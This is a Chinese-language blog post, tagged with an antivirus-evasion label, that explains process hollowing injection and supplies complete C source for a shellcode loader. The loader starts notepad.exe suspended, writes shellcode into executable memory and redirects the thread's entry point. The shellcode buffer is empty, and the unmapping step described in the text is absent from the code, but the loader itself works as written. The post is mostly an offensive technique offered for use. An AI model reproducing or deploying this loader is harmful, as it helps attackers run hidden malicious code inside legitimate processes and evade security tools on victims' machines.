首页 技术杂谈 正文
  • 本文约2008字,阅读需10分钟
  • 188
  • 0

ShellCode加载 - 进程镂空注入

摘要

进程镂空注入

1、进程镂空注入

  • 进程镂空:在一个正常的进程中,镂空一块内容然后把shellcode注入进去,从而在该进程上下文中执行恶意代码

  • 操作流程:

创建一个进程:

  • 使用 CreateProcess 创建一个目标进程,将CREATE_SUSPENDED标志设置以挂起主线程,这样目标进程不会立即执行。

获取进程信息:

  • 使用 GetThreadContext 获取挂起的主线程的上下文,以获取该进程中的入口点地址 (EIP 或 RIP, 取决于架构)。

镂空原始进程的内存:

  • 使用 NtUnmapViewOfSection 删除进程中原始映射的内存区域。

在目标进程中分配内存:

  • 使用 VirtualAllocEx 在目标进程中为shellcode分配内存。

将shellcode写入新分配的内存:

  • 使用 WriteProcessMemory 将shellcode写入之前分配的内存区域。

修改线程的上下文:

  • 更改线程上下文以使入口点指向新的内存地址,也就是shellcode的位置。
  • 使用 SetThreadContext 将修改后的上下文设置为挂起的主线程的上下文。

恢复线程执行:

  • 使用 ResumeThread 恢复挂起的主线程,这将导致shellcode执行。

1.1、实现代码

#include<windows.h>
#include<stdio.h>

unsigned char shellcode[] = "";

int main() {
    PROCESS_INFORMATION pi;
    STARTUPINFOA si;

    // 使用memset初始化结构体,设置为0
    memset(&si,0,sizeof(si));
    // cb是设置结构体的大小
    si.cb = sizeof(si);

    // 打开需要注入的进程 notepad.exe
    if (!(CreateProcessA("C:\\Windows\\System32\\notepad.exe",NULL,NULL, NULL, FALSE,
        CREATE_SUSPENDED,
        NULL, NULL, &si, &pi)))
    {
        printf("Error during CreateProcess. Error: %d\n", GetLastError());
        return 1;
    }

    // 定义线程上下文结构体,并设置其标志以获取所有寄存器的值
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;

    // 获取挂起进程的主线程的上下文,用于后续修改它的入口点
    if (!GetThreadContext(pi.hThread, &ctx)) {
        printf("Error during GetThreadContext. Error: %d\n", GetLastError());
        return 1;
    }

    // 把shellcode注入到创建的pi进程中
    // 在pi 中分配合适的内存空间
    PVOID remoteMemory = VirtualAllocEx(pi.hProcess,NULL,sizeof(shellcode), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteMemory) {
        printf("Error during VirtualAllocEx. Error: %d\n", GetLastError());
        return 1;
    }
    // 把shellcode写入到内存中去
    if (!WriteProcessMemory(pi.hProcess,remoteMemory,shellcode,sizeof(shellcode),NULL))
    {
        printf("Error during WriteProcessMemory. Error: %d\n", GetLastError());
        return 1;
    }

    // 修改线程的上下文,设置入口点指向我们注入的shellcode
    // 判断是64还是32位的机器,调用的指令不同
#if defined(_M_X64)
    ctx.Rip = (DWORD64)remoteMemory;
#elif defined(_M_IX86)
    ctx.Eip = (DWORD)remoteMemory;
#endif

    // 更新线程的上下文,使其在恢复后从shellcode开始执行
    if (!SetThreadContext(pi.hThread, &ctx)) {
        printf("Error during SetThreadContext. Error: %d\n", GetLastError());
        return 1;
    }

    // 恢复挂起的线程,使其开始执行shellcode
    if (ResumeThread(pi.hThread) == -1) {
        printf("Error during ResumeThread. Error: %d\n", GetLastError());
        return 1;
    }

    // 关闭进程和线程的句柄,释放资源
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}
标签:免杀
评论